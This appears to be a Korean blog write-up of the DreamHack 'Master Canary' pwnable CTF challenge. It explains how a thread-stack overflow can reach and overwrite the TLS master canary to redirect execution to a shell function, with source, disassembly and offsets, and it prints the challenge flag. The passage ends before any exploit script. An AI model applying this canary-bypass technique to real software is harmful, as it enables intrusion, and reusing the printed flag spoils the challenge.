[๐Ÿฅˆ Silver 3] ์นด๋‚˜๋ฆฌ ์›๋ณธ์ด ๊ฐ™์€ ์Šค๋ ˆ๋“œ ์Šคํƒ ์•ˆ์— ์žˆ๋‹ค โ€” DreamHack Master Canary(mc_thread) ํ’€์ด

2026-07-28ยท1๋ถ„ ์ฝ๊ธฐยท

[๐Ÿฅˆ Silver 3] ์นด๋‚˜๋ฆฌ ์›๋ณธ์ด ๊ฐ™์€ ์Šค๋ ˆ๋“œ ์Šคํƒ ์•ˆ์— ์žˆ๋‹ค โ€” DreamHack Master Canary(mc_thread) ํ’€์ด

์Šค๋ ˆ๋“œ ์•ˆ์—์„œ ์Šคํƒ ๋ฒ„ํผ๋ฅผ ์œ„๋กœ ๋ฌด์ œํ•œ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ๋Š” pwnable. ์นด๋‚˜๋ฆฌ๋ฅผ ์œ ์ถœํ•  ๋ฐฉ๋ฒ•์ด ์—†์–ด ๋ณด์ด์ง€๋งŒ, ์‚ฌ์‹ค ์œ ์ถœํ•  ํ•„์š”๊ฐ€ ์—†๋‹ค. ๊ฒ€์‚ฌ์— ์“ฐ์ด๋Š” ์›๋ณธ(TLS์˜ fs:0x28)์ด ๋„˜์น˜๋Š” ๋ฒ„ํผ์™€ ๊ฐ™์€ ์Šค๋ ˆ๋“œ ์Šคํƒ ์•ˆ์— ์žˆ์–ด์„œ, ์Šคํƒ ๋ณต์‚ฌ๋ณธ๊ณผ ์›๋ณธ์„ ๊ฐ™์€ ๊ฐ’์œผ๋กœ ํ•จ๊ป˜ ๋ฎ์œผ๋ฉด ๊ฒ€์‚ฌ๋ฅผ ํ†ต๊ณผํ•œ๋‹ค. ๋‹ค๋งŒ ๊ทธ ์‚ฌ์ด์— ๋†“์ธ TCB ํ•„๋“œ๋ฅผ ๊ทธ๋ƒฅ ๋ญ‰๊ฐœ๋ฉด ๋‹ค์Œ read()๊ฐ€ ์ฃฝ๋Š”๋‹ค.

๋ฌธ์ œ: DreamHack โ€” Master Canary (mc_thread) ๋ถ„๋ฅ˜: Pwnable ๋‚œ์ด๋„: ๐Ÿฅˆ Silver 3 FLAG: DH{4aff595366eb9100145182b138c160003a59471c2da192bd67bb267210545e18}

์Šคํƒ ์นด๋‚˜๋ฆฌ๋ฅผ ๋šซ๋Š” ๊ธ€์€ ๋Œ€๊ฐœ "์นด๋‚˜๋ฆฌ๋ฅผ ์œ ์ถœํ•œ๋‹ค"๋กœ ์‹œ์ž‘ํ•œ๋‹ค. ์ด ๋ฌธ์ œ๋Š” ์œ ์ถœํ•  ๊ตฌ๋ฉ์ด ์—†๋‹ค. ์ถœ๋ ฅ์ด๋ผ๊ณ ๋Š” Size: ๊ณผ Data: ๋‘ ์ค„๋ฟ์ด๊ณ , ๋„ฃ์€ ๊ฐ’์„ ๋˜๋Œ๋ ค ์ฃผ๋Š” ๊ณณ์ด ํ•˜๋‚˜๋„ ์—†๋‹ค.

๊ทธ๋Ÿฐ๋ฐ ์ด ๋ฌธ์ œ์˜ ๋‹ต์€ ์œ ์ถœ์ด ์•„๋‹ˆ๋‹ค. ๊ฒ€์‚ฌ์— ์“ฐ์ด๋Š” ์นด๋‚˜๋ฆฌ ์›๋ณธ์ด ์šฐ๋ฆฌ๊ฐ€ ๋„˜์น˜๋Š” ๋ฒ„ํผ์™€ ๊ฐ™์€ ๋ฉ”๋ชจ๋ฆฌ ์˜์—ญ ์•ˆ์— ์žˆ๋‹ค. ๊ทธ๋ž˜์„œ ์›๋ณธ์„ ๋ชฐ๋ผ๋„ ๋œ๋‹ค โ€” ๋‘˜์„ ๊ฐ™์€ ๊ฐ’์œผ๋กœ ๋ฐ”๊ฟ” ๋ฒ„๋ฆฌ๋ฉด ๊ทธ๋งŒ์ด๋‹ค.

์Šค๋ ˆ๋“œ ์Šคํƒ๊ณผ TLS ๋ฐฐ์น˜๋ฅผ ํ•œ ์žฅ์œผ๋กœ ์ •๋ฆฌํ•œ ๊ทธ๋ฆผ์ด๋‹ค. buf์—์„œ 0x928 ์œ„์— ๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ๊ฐ€ ์žˆ๋‹ค
์Šค๋ ˆ๋“œ ์Šคํƒ๊ณผ TLS ๋ฐฐ์น˜๋ฅผ ํ•œ ์žฅ์œผ๋กœ ์ •๋ฆฌํ•œ ๊ทธ๋ฆผ์ด๋‹ค. buf์—์„œ 0x928 ์œ„์— ๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ๊ฐ€ ์žˆ๋‹ค


๋ฌธ์ œ ๊ฐœ์š”

ํ•ญ๋ชฉ๋‚ด์šฉ
๋ฌธ์ œ๋ช…Master Canary (๋ฐฐํฌ ๋ฐ”์ด๋„ˆ๋ฆฌ ์ด๋ฆ„์€ mc_thread)
๋‚œ์ด๋„๐Ÿฅˆ Silver 3
๋ถ„๋ฅ˜Pwnable
์ œ๊ณต ํŒŒ์ผmc_thread, mc_thread.c, Dockerfile, libc.so.6, ld-linux-x86-64.so.2
ํ™˜๊ฒฝUbuntu 22.04 / glibc 2.35 / socat ๋กœ ํ‘œ์ค€์ž…์ถœ๋ ฅ ์—ฐ๊ฒฐ
๋ณดํ˜ธ ๊ธฐ๋ฒ•NX, Partial RELRO, Stack Canary, No PIE
ํ•ต์‹ฌ ์ทจ์•ฝ์ ์Šค๋ ˆ๋“œ ์Šคํƒ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๊ฐ€ TLS์˜ ๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ๊นŒ์ง€ ๋‹ฟ๋Š”๋‹ค

ํ๋ฆ„์€ ์งง๋‹ค. pthread_create๋กœ ๋งŒ๋“  ์Šค๋ ˆ๋“œ ์•ˆ์—์„œ ํฌ๊ธฐ ๊ฒ€์‚ฌ ์—†๋Š” ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๊ฐ€ ์ผ์–ด๋‚˜๊ณ , ๊ทธ ์Šค๋ ˆ๋“œ์˜ TCB(struct pthread)๊ฐ€ ๊ฐ™์€ ์Šคํƒ ๋งคํ•‘์˜ ๊ผญ๋Œ€๊ธฐ์— ๋ถ™์–ด ์žˆ๋‹ค. ๋ฒ„ํผ์—์„œ ์œ„๋กœ 0x928๋ฐ”์ดํŠธ๋ฅผ ์“ฐ๋ฉด fs:0x28, ์ฆ‰ ์นด๋‚˜๋ฆฌ ์›๋ณธ์— ๋‹ฟ๋Š”๋‹ค. ์Šคํƒ ๋ณต์‚ฌ๋ณธ๊ณผ ์›๋ณธ์„ ๊ฐ™์€ ๊ฐ’์œผ๋กœ ๋งž์ถ”๊ณ  ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ giveshell๋กœ ๋Œ๋ฆฌ๋ฉด ๋์ด๋‹ค.

ํ•œ ๊ฐ€์ง€ ํ•จ์ •์ด ์žˆ๋Š”๋ฐ, ๊ทธ "์“ฐ๋Š” ๊น€์— ์ง€๋‚˜๊ฐ€๋Š”" ๊ตฌ๊ฐ„์— TCB์˜ self ํฌ์ธํ„ฐ๊ฐ€ ์žˆ๋‹ค. ๊ฑฐ๊ธฐ๋ฅผ ์•„๋ฌด ๊ฐ’์œผ๋กœ ์ฑ„์šฐ๋ฉด ๋‹ค์Œ read() ํ˜ธ์ถœ์ด ๊ทธ ์ž๋ฆฌ์—์„œ ์ฃฝ๋Š”๋‹ค. ์ด ๊ธ€์˜ ์ ˆ๋ฐ˜์€ ๊ทธ ์ด์•ผ๊ธฐ๋‹ค.



๐Ÿงฉ ๋ฐฐ๊ฒฝ โ€” ์นด๋‚˜๋ฆฌ๋Š” ์–ด๋””์—์„œ ์˜ค๋Š”๊ฐ€

gcc -fstack-protector๊ฐ€ ๋ถ™์ธ ์นด๋‚˜๋ฆฌ ๊ฒ€์‚ฌ๋Š” ์ปดํŒŒ์ผ๋Ÿฌ๊ฐ€ ๋งŒ๋“  ๋‘ ์ค„๋กœ ์š”์•ฝ๋œ๋‹ค. ํ•จ์ˆ˜ ์•ž์—์„œ ์นด๋‚˜๋ฆฌ ๊ฐ’์„ ์Šคํƒ์— ๋ณต์‚ฌํ•ด ๋‘๊ณ , ํ•จ์ˆ˜ ๋์—์„œ ๊ทธ ๋ณต์‚ฌ๋ณธ์ด ๊ทธ๋Œ€๋กœ์ธ์ง€ ํ™•์ธํ•œ๋‹ค.

; ํ•จ์ˆ˜ ์ง„์ž…๋ถ€
mov rax, QWORD PTR fs:0x28      ; ์›๋ณธ์„ ์ฝ์–ด์„œ
mov QWORD PTR [rbp-0x8], rax    ; ์Šคํƒ์— ๋ณต์‚ฌ๋ณธ์„ ๋‘”๋‹ค
 
; ํ•จ์ˆ˜ ์ข…๋ฃŒ๋ถ€
mov rax, QWORD PTR [rbp-0x8]    ; ๋ณต์‚ฌ๋ณธ๊ณผ
sub rax, QWORD PTR fs:0x28      ; ์›๋ณธ์„ ๋น„๊ต
je  ok
call __stack_chk_fail

์—ฌ๊ธฐ์„œ ์ค‘์š”ํ•œ ๊ฒƒ์€ ์›๋ณธ์ด fs:0x28์— ์žˆ๋‹ค๋Š” ์ ์ด๋‹ค. x86-64 ๋ฆฌ๋ˆ…์Šค์—์„œ fs ์„ธ๊ทธ๋จผํŠธ ๋ฒ ์ด์Šค๋Š” ๊ทธ ์Šค๋ ˆ๋“œ์˜ TCB(Thread Control Block)๋ฅผ ๊ฐ€๋ฆฌํ‚ค๊ณ , TCB์˜ ์ฒซ ๊ตฌ์กฐ์ฒด์ธ tcbhead_t์˜ 0x28 ์˜คํ”„์…‹์— stack_guard ํ•„๋“œ๊ฐ€ ์žˆ๋‹ค.

/* glibc: sysdeps/x86_64/nptl/tls.h */
typedef struct {
  void *tcb;                /* 0x00 */
  dtv_t *dtv;               /* 0x08 */
  void *self;               /* 0x10 */
  int multiple_threads;     /* 0x18 */
  int gscope_flag;          /* 0x1c */
  uintptr_t sysinfo;        /* 0x20 */
  uintptr_t stack_guard;    /* 0x28 */  /* <- ์นด๋‚˜๋ฆฌ ์›๋ณธ */
  uintptr_t pointer_guard;  /* 0x30 */
  ...
} tcbhead_t;

๊ฐ’ ์ž์ฒด๋Š” ํ”„๋กœ์„ธ์Šค๊ฐ€ ์‹œ์ž‘ํ•  ๋•Œ ๋”ฑ ํ•œ ๋ฒˆ ๋งŒ๋“ค์–ด์ง„๋‹ค. ๊ทธ๋ฆฌ๊ณ  pthread_create๋กœ ์ƒˆ ์Šค๋ ˆ๋“œ๋ฅผ ๋งŒ๋“ค๋ฉด glibc๊ฐ€ ๋ฉ”์ธ ์Šค๋ ˆ๋“œ์˜ ๊ฐ’์„ ๊ทธ๋Œ€๋กœ ๋ณต์‚ฌํ•ด ์ƒˆ TCB์— ์‹ฌ๋Š”๋‹ค. ๊ทธ๋ž˜์„œ ํ•œ ํ”„๋กœ์„ธ์Šค์˜ ๋ชจ๋“  ์Šค๋ ˆ๋“œ๊ฐ€ ๊ฐ™์€ ์นด๋‚˜๋ฆฌ๋ฅผ ์“ด๋‹ค โ€” ์ด๊ฒŒ ๋ฌธ์ œ ์ œ๋ชฉ์˜ "๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ"๋‹ค.

์—ฌ๊ธฐ๊นŒ์ง€๋Š” ๊ทธ๋ƒฅ ์ƒ์‹์ด๋‹ค. ์‹ค์ œ๋กœ ๋šซ๋Š” ๋ฐ ์“ฐ์ด๋Š” ์‚ฌ์‹ค์€ ๊ทธ๋‹ค์Œ์ด๋‹ค. ์Šค๋ ˆ๋“œ์˜ TCB๋Š” ๊ทธ ์Šค๋ ˆ๋“œ์˜ ์Šคํƒ๊ณผ ๊ฐ™์€ ๋งคํ•‘ ์•ˆ์— ์žˆ๋‹ค. pthread_create๋Š” ์Šค๋ ˆ๋“œ๋งˆ๋‹ค ์Šคํƒ์„ mmap์œผ๋กœ ํ•˜๋‚˜ ์žก๊ณ , ๊ทธ ์˜์—ญ์˜ ๋งจ ์œ„์— struct pthread๋ฅผ ์–น๋Š”๋‹ค. ์Šคํƒ์€ ์•„๋ž˜๋กœ ์ž๋ผ๋‹ˆ๊นŒ ์„œ๋กœ ๋ถ€๋”ชํžˆ์ง€ ์•Š๋Š”๋‹ค๋Š” ๊ณ„์‚ฐ์ธ๋ฐ, ๋’ค์ง‘์–ด ๋งํ•˜๋ฉด ์Šคํƒ ๋ฒ„ํผ๋ฅผ ์œ„๋กœ ์ถฉ๋ถ„ํžˆ ๋ฎ์œผ๋ฉด TCB์— ๋‹ฟ๋Š”๋‹ค๋Š” ๋œป์ด๋‹ค.

๋ฉ”์ธ ์Šค๋ ˆ๋“œ์—์„œ๋Š” ์ด๋Ÿฐ ์ผ์ด ์•ˆ ์ƒ๊ธด๋‹ค. ๋ฉ”์ธ ์Šค๋ ˆ๋“œ์˜ TCB๋Š” ์Šคํƒ์ด ์•„๋‹ˆ๋ผ ๋ณ„๋„ ๋งคํ•‘์— ์žˆ๊ณ , ๊ทธ ์‚ฌ์ด์— ํ™˜๊ฒฝ๋ณ€์ˆ˜ยทargv๋ฅผ ๋น„๋กฏํ•œ ์ปค๋„์ด ๊น”์•„ ๋‘” ์˜์—ญ์ด ํ†ต์งธ๋กœ ๋ผ์–ด ์žˆ๋‹ค. ์ด ๊ณต๊ฒฉ์ด ์Šค๋ ˆ๋“œ ์•ˆ์—์„œ๋งŒ ์„ฑ๋ฆฝํ•˜๋Š” ์ด์œ ๋‹ค.


๐Ÿ”ฌ ์ •์ฐฐ โ€” ํŒŒ์ผ๋ถ€ํ„ฐ ๋ณธ๋‹ค

๋ฐฐํฌ๋ณธ์„ ํ’€๋ฉด ์†Œ์Šค๊นŒ์ง€ ๋“ค์–ด ์žˆ๋‹ค. ์„œ๋ฒ„๋ฅผ ์ผœ๊ธฐ ์ „์— ์—ฌ๊ธฐ์„œ ๋๋‚ผ ์ˆ˜ ์žˆ๋Š” ๋ฌธ์ œ๋‹ค.

$ ls extracted/
Dockerfile  flag  ld-linux-x86-64.so.2  libc.so.6  mc_thread  mc_thread.c

Dockerfile์ด ํ™˜๊ฒฝ์„ ๊ทธ๋Œ€๋กœ ์•Œ๋ ค ์ค€๋‹ค. ๋กœ์ปฌ ๊ฒ€์ฆ์„ ์–ด๋””์— ๋งž์ถฐ์•ผ ํ•˜๋Š”์ง€๊ฐ€ ์—ฌ๊ธฐ์„œ ์ •ํ•ด์ง„๋‹ค.

FROM ubuntu:22.04@sha256:67211c14fa74f070d27cc59d69a7fa9aeff8e28ea118ef3babc295a0428a6d21
ENV user mc_thread
ENV chall_port 7182
RUN apt-get update
RUN apt-get -y install socat
RUN adduser $user
ADD ./flag /home/$user/flag
ADD ./$user /home/$user/$user
RUN chmod 755 /home/$user/$user
RUN chmod 440 /home/$user/flag
WORKDIR /home/$user
USER $user
CMD while :; do socat -T 30 TCP-LISTEN:$chall_port,reuseaddr,fork EXEC:/home/$user/$user ; done

socat ... EXEC:์ด๋ผ ํ”„๋กœ๊ทธ๋žจ์˜ ํ‘œ์ค€์ž…์ถœ๋ ฅ์ด ๊ทธ๋Œ€๋กœ ์†Œ์ผ“์— ๋ฌผ๋ฆฐ๋‹ค. ์…ธ๋งŒ ์žก์œผ๋ฉด ๊ทธ ์…ธ์˜ ์ž…์ถœ๋ ฅ๋„ ๊ฐ™์€ ์†Œ์ผ“์œผ๋กœ ์ด์–ด์ง„๋‹ค๋Š” ๋œป์ด๋‹ค. -T 30์ด๋ผ 30์ดˆ ์•ˆ์— ๋๋‚ด์•ผ ํ•œ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ๋ฐฐํฌ๋ณธ ์•ˆ์˜ flag๋Š” DH{**flag**}๋ผ๋Š” ์ž๋ฆฌํ‘œ์‹œ์ž๋‹ค โ€” ์ง„์งœ ๊ฐ’์€ ๋ผ์ด๋ธŒ ์„œ๋ฒ„์—๋งŒ ์žˆ๋‹ค.

๋ณดํ˜ธ ๊ธฐ๋ฒ•๋ถ€ํ„ฐ ํ™•์ธํ•œ๋‹ค.

file mc_thread; pwn checksec mc_thread

file๊ณผ pwntools checksec ์ถœ๋ ฅ์ด๋‹ค. NX์™€ ์นด๋‚˜๋ฆฌ๊ฐ€ ์ผœ์ ธ ์žˆ๊ณ  PIE๋Š” ๊บผ์ ธ ์žˆ๋‹ค
file๊ณผ pwntools checksec ์ถœ๋ ฅ์ด๋‹ค. NX์™€ ์นด๋‚˜๋ฆฌ๊ฐ€ ์ผœ์ ธ ์žˆ๊ณ  PIE๋Š” ๊บผ์ ธ ์žˆ๋‹ค

์นด๋‚˜๋ฆฌ๊ฐ€ ์ผœ์ ธ ์žˆ๊ณ  NX๋„ ์ผœ์ ธ ์žˆ๋‹ค. ๋Œ€์‹  No PIE๋ผ ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ ์ฃผ์†Œ๋Š” ์ „๋ถ€ ๊ณ ์ •์ด๋‹ค (0x400000 ๊ธฐ์ค€). ์ด ์‚ฌ์‹ค์€ ๋‚˜์ค‘์— ๊ฒฐ์ •์ ์œผ๋กœ ์“ฐ์ธ๋‹ค.

์†Œ์Šค โ€” 43์ค„์ด ์ „๋ถ€๋‹ค

// Name: mc_thread.c
// Compile: gcc -o mc_thread mc_thread.c -pthread -no-pie
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
void giveshell() { execve("/bin/sh", 0, 0); }
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}
 
void read_bytes(char *buf, int size) {
  int i;
 
  for (i = 0; i < size; i++)
    if (read(0, buf + i*8, 8) < 8)
      return;
}
 
void thread_routine() {
  char buf[256];
  int size = 0;
  printf("Size: ");
  scanf("%d", &size);
  printf("Data: ");
  read_bytes(buf, size);
}
 
int main() {
  pthread_t thread_t;
 
  init();
 
  if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
    perror("thread create error:");
    exit(0);
  }
  pthread_join(thread_t, 0);
  return 0;
}

buf๋Š” 256๋ฐ”์ดํŠธ์ธ๋ฐ size๋Š” ์šฐ๋ฆฌ๊ฐ€ ์ •ํ•˜๊ณ , read_bytes๋Š” ๊ทธ size๋ฅผ ๊ทธ๋Œ€๋กœ ๋ฏฟ๊ณ  8๋ฐ”์ดํŠธ์”ฉ size๋ฒˆ ์“ด๋‹ค. ์ฆ‰ ์ตœ๋Œ€ size * 8๋ฐ”์ดํŠธ๋ฅผ ์“ธ ์ˆ˜ ์žˆ๋‹ค. giveshell์ด ์ด๋ฏธ ์žˆ์œผ๋‹ˆ ROP๋„ ํ•„์š” ์—†๋‹ค. ๋ฐ˜ํ™˜ ์ฃผ์†Œ๋งŒ ๊ฑฐ๊ธฐ๋กœ ๋Œ๋ฆฌ๋ฉด ๋œ๋‹ค.

๋ฌธ์ œ๋Š” ๊ทธ ์‚ฌ์ด๋ฅผ ๋ง‰๊ณ  ์žˆ๋Š” ์นด๋‚˜๋ฆฌ๋‹ค.

๋””์Šค์–ด์…ˆ๋ธ” โ€” ํ”„๋ ˆ์ž„ ๋ฐฐ์น˜๋ฅผ ๋ˆˆ์œผ๋กœ ํ™•์ธ

์†Œ์Šค๋งŒ ๋ณด๊ณ  ์˜คํ”„์…‹์„ ์ง์ž‘ํ•˜๋ฉด ํ‹€๋ฆฐ๋‹ค. ์ปดํŒŒ์ผ๋Ÿฌ๊ฐ€ buf๋ฅผ ์–ด๋””์— ๋†“์•˜๋Š”์ง€ ์ง์ ‘ ๋ณธ๋‹ค.

objdump -d --no-show-raw-insn -M intel \
  --start-address=0x401316 --stop-address=0x4013b2 mc_thread | sed -E -f ../work/annot_thread.sed

์บก์ณ์˜ <-- ์ฃผ์„์€ ๋„๊ตฌ๊ฐ€ ์ฐ์€ ๊ฒŒ ์•„๋‹ˆ๋ผ ๋‚ด๊ฐ€ sed๋กœ ์–น์€ ๊ฒƒ์ด๋‹ค. ๊ทœ์น™ ํŒŒ์ผ์€ ์ด๋ ‡๊ฒŒ ์ƒ๊ฒผ๋‹ค.

s/(sub    rsp,0x120)/\1                 <-- thread_routine ํ”„๋ ˆ์ž„ 0x120/
s/(mov    rax,QWORD PTR fs:0x28)/\1   <-- ๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ๋ฅผ TLS ์—์„œ ์ฝ์–ด์™€/
s/(mov    QWORD PTR \[rbp-0x8\],rax)/\1  <-- ์Šคํƒ์— ๋ณต์‚ฌ๋ณธ์„ ๋‘”๋‹ค/
s/(lea    rax,\[rbp-0x114\])/\1        <-- size (int)/
s/(lea    rax,\[rbp-0x110\])/\1        <-- buf[256] ์‹œ์ž‘ = rbp-0x110/
s/(call   4012c1 <read_bytes>)/\1  <-- read_bytes(buf, size)  ํฌ๊ธฐ ๊ฒ€์‚ฌ ์—†์Œ/
s/(sub    rax,QWORD PTR fs:0x28)/\1   <-- ์Šคํƒ ๋ณต์‚ฌ๋ณธ vs TLS ์›๋ณธ ๋น„๊ต/

objdump๋กœ ๋œฌ thread_routine ๋””์Šค์–ด์…ˆ๋ธ”์ด๋‹ค. buf๋Š” rbp-0x110์ด๊ณ  ์นด๋‚˜๋ฆฌ๋Š” rbp-0x8์— ์žˆ๋‹ค
objdump๋กœ ๋œฌ thread_routine ๋””์Šค์–ด์…ˆ๋ธ”์ด๋‹ค. buf๋Š” rbp-0x110์ด๊ณ  ์นด๋‚˜๋ฆฌ๋Š” rbp-0x8์— ์žˆ๋‹ค

ํ”„๋ ˆ์ž„ ๋ฐฐ์น˜๊ฐ€ ํ™•์ •๋๋‹ค.

๋Œ€์ƒ์ฃผ์†Œbuf ๊ธฐ์ค€
buf[256]rbp-0x110+0x000
size (int)rbp-0x114โ€”
์นด๋‚˜๋ฆฌ ๋ณต์‚ฌ๋ณธrbp-0x8+0x108
saved rbprbp+0x0+0x110
๋ฐ˜ํ™˜ ์ฃผ์†Œrbp+0x8+0x118

buf๊ฐ€ rbp-0x110์ธ๋ฐ ์นด๋‚˜๋ฆฌ๊ฐ€ rbp-0x8์ด๋‹ˆ ๊ทธ ์‚ฌ์ด๋Š” 0x108๋ฐ”์ดํŠธ๋‹ค. ๋ฒ„ํผ 256๋ฐ”์ดํŠธ(0x100)๋ณด๋‹ค 8๋ฐ”์ดํŠธ ๋„“๋‹ค โ€” ์ •๋ ฌ์šฉ ํŒจ๋”ฉ์ด ๋ผ์–ด ์žˆ๋Š” ๊ฒƒ์ด๋‹ค. ์ด๋Ÿฐ ๊ฐ’์„ ์†Œ์Šค๋งŒ ๋ณด๊ณ  0x100์ด๋ผ๊ณ  ์ ์—ˆ๋‹ค๋ฉด ๊ฑฐ๊ธฐ์„œ ์–ด๊ธ‹๋‚œ๋‹ค.

์ด์ œ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ๋ฅผ ์ผ์œผํ‚ค๋Š” ํ•จ์ˆ˜๋ฅผ ๋ณธ๋‹ค.

objdump -d --no-show-raw-insn -M intel \
  --start-address=0x4012c1 --stop-address=0x401316 mc_thread | sed -E -f ../work/annot_read_bytes.sed

objdump๋กœ ๋œฌ read_bytes ๋””์Šค์–ด์…ˆ๋ธ”์ด๋‹ค. size ์ƒํ•œ ๊ฒ€์‚ฌ๊ฐ€ ์—†๊ณ  8๋ฐ”์ดํŠธ์”ฉ ๋ฐ˜๋ณตํ•ด์„œ ์ฝ๋Š”๋‹ค
objdump๋กœ ๋œฌ read_bytes ๋””์Šค์–ด์…ˆ๋ธ”์ด๋‹ค. size ์ƒํ•œ ๊ฒ€์‚ฌ๊ฐ€ ์—†๊ณ  8๋ฐ”์ดํŠธ์”ฉ ๋ฐ˜๋ณตํ•ด์„œ ์ฝ๋Š”๋‹ค

cmp eax, DWORD PTR [rbp-0x1c] โ€” i์™€ size๋งŒ ๋น„๊ตํ•œ๋‹ค. size์˜ ์ƒํ•œ์„ ๋ณด๋Š” ๊ณณ์ด ์—†๋‹ค. ๋ฃจํ”„๋ฅผ ๋น ์ ธ๋‚˜๊ฐ€๋Š” ์œ ์ผํ•œ ๊ธธ์€ read๊ฐ€ 8๋ฐ”์ดํŠธ๋ฅผ ๋ชป ์ฑ„์šฐ๋Š” ๊ฒฝ์šฐ(cmp rax,0x7 / jle)๋ฟ์ด๋‹ค.

์ด ์กฐ๊ฑด์€ ์ต์Šคํ”Œ๋กœ์ž‡์—์„œ๋„ ์‹ ๊ฒฝ ์จ์•ผ ํ•œ๋‹ค. ํŽ˜์ด๋กœ๋“œ๋ฅผ ํ•œ ๋ฒˆ์— ๋˜์กŒ๋Š”๋ฐ TCP ์„ธ๊ทธ๋จผํŠธ ๊ฒฝ๊ณ„๊ฐ€ 8๋ฐ”์ดํŠธ ์ค‘๊ฐ„์— ๊ฑธ๋ฆฌ๊ณ  ๋งˆ์นจ ํ”„๋กœ๊ทธ๋žจ์ด ๊ทธ ๊ฒฝ๊ณ„๋ฅผ ๋”ฐ๋ผ์žก์œผ๋ฉด, read๊ฐ€ 7๋ฐ”์ดํŠธ๋ฅผ ๋ฐ˜ํ™˜ํ•˜๋ฉด์„œ ๋ฃจํ”„๊ฐ€ ์กฐ๊ธฐ ์ข…๋ฃŒ๋œ๋‹ค. ์‹ค์ œ๋กœ๋Š” ํ”„๋กœ๊ทธ๋žจ์˜ read ๋ฐ˜๋ณต์ด ๋„คํŠธ์›Œํฌ๋ณด๋‹ค ํ›จ์”ฌ ๋А๋ ค์„œ ์ปค๋„ ์ˆ˜์‹  ๋ฒ„ํผ์— ๋ฐ์ดํ„ฐ๊ฐ€ ๋จผ์ € ์Œ“์ด์ง€๋งŒ, ์‹คํŒจํ•˜๋ฉด ์ด๊ฑธ ์˜์‹ฌํ•˜๋ฉด ๋œ๋‹ค.



๐Ÿงฑ ์Šค๋ ˆ๋“œ ์Šคํƒ์€ ์–ด๋–ป๊ฒŒ ์žกํžˆ๋‚˜

pthread_create๋Š” ์Šค๋ ˆ๋“œ๋งˆ๋‹ค ์Šคํƒ์„ mmap์œผ๋กœ ์žก๋Š”๋‹ค(๊ธฐ๋ณธ 8MB). x86-64๋Š” TLS variant II๋ผ์„œ, ๊ทธ ์˜์—ญ์˜ ์œ„์ชฝ์— struct pthread(=TCB)๋ฅผ ์–น๊ณ  ๊ทธ ์•„๋ž˜์— static TLS ๋ธ”๋ก์„ ๋ถ™์ธ๋‹ค. fs ๋ ˆ์ง€์Šคํ„ฐ ๋ฒ ์ด์Šค๊ฐ€ ๊ณง TCB์˜ ์‹œ์ž‘์ด๋‹ค.

๋†’์€ ์ฃผ์†Œ
  โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
  โ”‚ struct pthread (TCB)      โ”‚ <- fs ๋ ˆ์ง€์Šคํ„ฐ๊ฐ€ ์—ฌ๊ธฐ
  โ”‚   fs:0x28 = stack_guard   โ”‚
  โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
  โ”‚ static TLS ๋ธ”๋ก (errno ๋“ฑ) โ”‚
  โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
  โ”‚ start_thread ํ”„๋ ˆ์ž„        โ”‚
  โ”‚ thread_routine ํ”„๋ ˆ์ž„      โ”‚ <- buf[256] ์ด ์—ฌ๊ธฐ
  โ”‚        ...                โ”‚
  โ”‚ (8MB ์Šคํƒ, ์•„๋ž˜๋กœ ์ž๋ž€๋‹ค)   โ”‚
  โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
๋‚ฎ์€ ์ฃผ์†Œ

thread_routine์€ ์Šค๋ ˆ๋“œ๊ฐ€ ์‹œ์ž‘ํ•˜์ž๋งˆ์ž ํ˜ธ์ถœ๋˜๋‹ˆ ํ”„๋ ˆ์ž„์ด ์Šคํƒ ๊ผญ๋Œ€๊ธฐ ๊ทผ์ฒ˜์— ์žˆ๋‹ค. ๊ทธ๋ž˜์„œ buf์—์„œ TCB๊นŒ์ง€์˜ ๊ฑฐ๋ฆฌ๋Š” ๋ช‡ ํ‚ฌ๋กœ๋ฐ”์ดํŠธ ์ˆ˜์ค€์ด๋‹ค. ์ •ํ™•ํ•œ ๊ฐ’๋งŒ ์žฌ๋ฉด ๋œ๋‹ค.



๐Ÿ“ ์˜คํ”„์…‹ ์‹ค์ธก โ€” ์ง์ž‘ํ•˜์ง€ ์•Š๋Š”๋‹ค

